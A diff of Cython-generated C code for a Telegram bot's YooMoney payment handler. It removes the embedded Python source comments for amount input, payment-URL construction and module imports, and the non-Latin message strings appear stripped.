* async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - * amount = int(message.text) # <<<<<<<<<<<<<< - * if amount <= 0: - * await message.answer( - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) @@ -7890,25 +7053,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":185 - * if message.text.isdigit(): - * amount = int(message.text) - * if amount <= 0: # <<<<<<<<<<<<<< - * await message.answer( - * " . , :" - */ __pyx_t_3 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 185, __pyx_L1_error) __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 185, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_5) { - /* "handlers/payments/yoomoney_pay.py":186 - * amount = int(message.text) - * if amount <= 0: - * await message.answer( # <<<<<<<<<<<<<< - * " . , :" - * ) - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; @@ -7953,33 +7102,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ } } - /* "handlers/payments/yoomoney_pay.py":189 - * " . , :" - * ) - * return # <<<<<<<<<<<<<< - * - * await state.update_data(amount=amount) - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/yoomoney_pay.py":185 - * if message.text.isdigit(): - * amount = int(message.text) - * if amount <= 0: # <<<<<<<<<<<<<< - * await message.answer( - * " . , :" - */ } - /* "handlers/payments/yoomoney_pay.py":191 - * return - * - * await state.update_data(amount=amount) # <<<<<<<<<<<<<< - * await state.set_state( - * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 191, __pyx_L1_error) @@ -8009,23 +7137,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ } } - /* "handlers/payments/yoomoney_pay.py":192 - * - * await state.update_data(amount=amount) - * await state.set_state( # <<<<<<<<<<<<<< - * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney - * ) - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/yoomoney_pay.py":193 - * await state.update_data(amount=amount) - * await state.set_state( - * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney # <<<<<<<<<<<<<< - * ) - * - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 193, __pyx_L1_error) @@ -8074,13 +7188,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ } } - /* "handlers/payments/yoomoney_pay.py":196 - * ) - * - * customer_id = message.chat.id # <<<<<<<<<<<<<< - * account_id = YOOMONEY_ID - * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) @@ -8090,26 +7197,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_cur_scope->__pyx_v_customer_id = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":197 - * - * customer_id = message.chat.id - * account_id = YOOMONEY_ID # <<<<<<<<<<<<<< - * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" - * - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_account_id = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":198 - * customer_id = message.chat.id - * account_id = YOOMONEY_ID - * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" # <<<<<<<<<<<<<< - * - * confirm_keyboard = InlineKeyboardMarkup( - */ __pyx_t_1 = PyTuple_New(6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = 0; @@ -8155,33 +7248,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_cur_scope->__pyx_v_payment_url = ((PyObject*)__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":200 - * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" - * - * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< - * inline_keyboard=[ - * [InlineKeyboardButton(text="", url=payment_url)], - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - /* "handlers/payments/yoomoney_pay.py":201 - * - * confirm_keyboard = InlineKeyboardMarkup( - * inline_keyboard=[ # <<<<<<<<<<<<<< - * [InlineKeyboardButton(text="", url=payment_url)], - * [InlineKeyboardButton(text=" ", callback_data="pay")], - */ __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/yoomoney_pay.py":202 - * confirm_keyboard = InlineKeyboardMarkup( - * inline_keyboard=[ - * [InlineKeyboardButton(text="", url=payment_url)], # <<<<<<<<<<<<<< - * [InlineKeyboardButton(text=" ", callback_data="pay")], - * ] - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L1_error) @@ -8198,13 +7270,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_9)) __PYX_ERR(0, 202, __pyx_L1_error); __pyx_t_9 = 0; - /* "handlers/payments/yoomoney_pay.py":203 - * inline_keyboard=[ - * [InlineKeyboardButton(text="", url=payment_url)], - * [InlineKeyboardButton(text=" ", callback_data="pay")], # <<<<<<<<<<<<<< - * ] - * ) - */ __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 203, __pyx_L1_error) @@ -8221,13 +7286,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ if (__Pyx_PyList_SET_ITEM(__pyx_t_6, 0, __pyx_t_10)) __PYX_ERR(0, 203, __pyx_L1_error); __pyx_t_10 = 0; - /* "handlers/payments/yoomoney_pay.py":201 - * - * confirm_keyboard = InlineKeyboardMarkup( - * inline_keyboard=[ # <<<<<<<<<<<<<< - * [InlineKeyboardButton(text="", url=payment_url)], - * [InlineKeyboardButton(text=" ", callback_data="pay")], - */ __pyx_t_10 = PyList_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_GIVEREF(__pyx_t_3); @@ -8239,13 +7297,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_10) < 0) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - /* "handlers/payments/yoomoney_pay.py":200 - * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" - * - * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< - * inline_keyboard=[ - * [InlineKeyboardButton(text="", url=payment_url)], - */ __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -8254,23 +7305,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_10; __pyx_t_10 = 0; - /* "handlers/payments/yoomoney_pay.py":207 - * ) - * - * await message.answer( # <<<<<<<<<<<<<< - * text=f" {amount} .", - * reply_markup=confirm_keyboard, - */ __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - /* "handlers/payments/yoomoney_pay.py":208 - * - * await message.answer( - * text=f" {amount} .", # <<<<<<<<<<<<<< - * reply_markup=confirm_keyboard, - * ) - */ __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 208, __pyx_L1_error) @@ -8300,22 +7337,8 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/yoomoney_pay.py":209 - * await message.answer( - * text=f" {amount} .", - * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< - * ) - * - */ if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 208, __pyx_L1_error) - /* "handlers/payments/yoomoney_pay.py":207 - * ) - * - * await message.answer( # <<<<<<<<<<<<<< - * text=f" {amount} .", - * reply_markup=confirm_keyboard, - */ __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; @@ -8340,21 +7363,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ } } - /* "handlers/payments/yoomoney_pay.py":183 - * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): # <<<<<<<<<<<<<< - * amount = int(message.text) - * if amount <= 0: - */ goto __pyx_L4; } - /* "handlers/payments/yoomoney_pay.py":213 - * - * else: - * await message.answer(" . , :") # <<<<<<<<<<<<<< - */ /*else*/ { __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); @@ -8403,13 +7414,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_L4:; CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/yoomoney_pay.py":181 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -9597,47 +8601,19 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); - /* "handlers/payments/yoomoney_pay.py":102 - * callback_query: types.CallbackQuery, state: FSMContext - * ): - * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< - * - * if len(data) != 2: - */ __pyx_tuple__8 = PyTuple_Pack(2, __pyx_kp_u__7, __pyx_int_1); if (unlikely(!__pyx_tuple__8)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__8); __Pyx_GIVEREF(__pyx_tuple__8); - /* "handlers/payments/yoomoney_pay.py":173 - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yoomoney")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * ", .", - * reply_markup=builder.as_markup(), - */ __pyx_tuple__18 = PyTuple_Pack(1, __pyx_kp_u__17); if (unlikely(!__pyx_tuple__18)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__18); __Pyx_GIVEREF(__pyx_tuple__18); - /* "handlers/payments/yoomoney_pay.py":38 - * - * - * @router.callback_query(F.data == "pay_yoomoney") # <<<<<<<<<<<<<< - * async def process_callback_pay_yoomoney( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ __pyx_tuple__24 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__24)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__24); __Pyx_GIVEREF(__pyx_tuple__24); __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__24, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_callback_pay_yoomoney, 38, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 38, __pyx_L1_error) - /* "handlers/payments/yoomoney_pay.py":98 - * - * - * @router.callback_query(F.data.startswith("yoomoney_amount")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ __pyx_tuple__25 = PyTuple_Pack(1, __pyx_n_u_yoomoney_amount); if (unlikely(!__pyx_tuple__25)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__25); __Pyx_GIVEREF(__pyx_tuple__25); @@ -9646,37 +8622,16 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_GIVEREF(__pyx_tuple__26); __pyx_codeobj__6 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__26, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_amount_selection, 98, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__6)) __PYX_ERR(0, 98, __pyx_L1_error) - /* "handlers/payments/yoomoney_pay.py":135 - * - * - * async def yoomoney_webhook(request: web.Request): # <<<<<<<<<<<<<< - * data = await request.post() - * logger.debug(f"Webhook event received: {data}") - */ __pyx_tuple__27 = PyTuple_Pack(11, __pyx_n_s_request, __pyx_n_s_data, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_notification_secret, __pyx_n_s_sha1_hash, __pyx_n_s_string_to_hash, __pyx_n_s_calculated_hash, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__27); __Pyx_GIVEREF(__pyx_tuple__27); __pyx_codeobj__12 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__27, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_yoomoney_webhook, 135, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__12)) __PYX_ERR(0, 135, __pyx_L1_error) - /* "handlers/payments/yoomoney_pay.py":166 - * - * - * @router.callback_query(F.data == "enter_custom_amount_yoomoney") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ __pyx_tuple__28 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__28); __Pyx_GIVEREF(__pyx_tuple__28); __pyx_codeobj__15 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__28, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_enter_custom_amount, 166, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__15)) __PYX_ERR(0, 166, __pyx_L1_error) - /* "handlers/payments/yoomoney_pay.py":181 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - */ __pyx_tuple__29 = PyTuple_Pack(7, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_customer_id, __pyx_n_s_account_id, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__29); __Pyx_GIVEREF(__pyx_tuple__29); @@ -10158,22 +9113,11 @@ if (!__Pyx_RefNanny) { if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif - /* "handlers/payments/yoomoney_pay.py":1 - * import hashlib # <<<<<<<<<<<<<< - * from typing import Any - * - */ __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_hashlib, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_hashlib, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":2 - * import hashlib - * from typing import Any # <<<<<<<<<<<<<< - * - * from aiogram import F, Router, types - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_Any); @@ -10188,13 +9132,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":4 - * from typing import Any - * - * from aiogram import F, Router, types # <<<<<<<<<<<<<< - * from aiogram.fsm.context import FSMContext - * from aiogram.fsm.state import State, StatesGroup - */ __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_F); @@ -10223,13 +9160,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":5 - * - * from aiogram import F, Router, types - * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< - * from aiogram.fsm.state import State, StatesGroup - * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_FSMContext); @@ -10244,13 +9174,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":6 - * from aiogram import F, Router, types - * from aiogram.fsm.context import FSMContext - * from aiogram.fsm.state import State, StatesGroup # <<<<<<<<<<<<<< - * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup - * from aiogram.utils.keyboard import InlineKeyboardBuilder - */ __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_State); @@ -10272,13 +9195,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":7 - * from aiogram.fsm.context import FSMContext - * from aiogram.fsm.state import State, StatesGroup - * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup # <<<<<<<<<<<<<< - * from aiogram.utils.keyboard import InlineKeyboardBuilder - * from aiohttp import web - */ __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); @@ -10300,13 +9216,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":8 - * from aiogram.fsm.state import State, StatesGroup - * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup - * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< - * from aiohttp import web - * - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); @@ -10321,13 +9230,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":9 - * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup - * from aiogram.utils.keyboard import InlineKeyboardBuilder - * from aiohttp import web # <<<<<<<<<<<<<< - * - * from config import YOOMONEY_ENABLE, YOOMONEY_ID, YOOMONEY_SECRET_KEY - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_web); @@ -10342,13 +9244,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":11 - * from aiohttp import web - * - * from config import YOOMONEY_ENABLE, YOOMONEY_ID, YOOMONEY_SECRET_KEY # <<<<<<<<<<<<<< - * from database import ( - * add_connection, - */ __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_YOOMONEY_ENABLE); @@ -10377,13 +9272,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":13 - * from config import YOOMONEY_ENABLE, YOOMONEY_ID, YOOMONEY_SECRET_KEY - * from database import ( - * add_connection, # <<<<<<<<<<<<<< - * add_payment, - * check_connection_exists, - */ __pyx_t_2 = PyList_New(5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_add_connection); @@ -10402,13 +9290,6 @@ if (!__Pyx_RefNanny) { __Pyx_GIVEREF(__pyx_n_s_update_balance); if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 4, __pyx_n_s_update_balance)) __PYX_ERR(0, 13, __pyx_L1_error); - /* "handlers/payments/yoomoney_pay.py":12 - * - * from config import YOOMONEY_ENABLE, YOOMONEY_ID, YOOMONEY_SECRET_KEY - * from database import ( # <<<<<<<<<<<<<< - * add_connection, - * add_payment, - */ __pyx_t_3 = __Pyx_Import(__pyx_n_s_database, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -10434,13 +9315,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":19 - * update_balance, - * ) - * from handlers.payments.gift import YOOKASSA_HASH # <<<<<<<<<<<<<< - * from handlers.payments.utils import send_payment_success_notification - * from handlers.texts import PAYMENT_OPTIONS - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_YOOKASSA_HASH); @@ -10455,13 +9329,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":20 - * ) - * from handlers.payments.gift import YOOKASSA_HASH - * from handlers.payments.utils import send_payment_success_notification # <<<<<<<<<<<<<< - * from handlers.texts import PAYMENT_OPTIONS - * from logger import logger - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); @@ -10476,13 +9343,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); 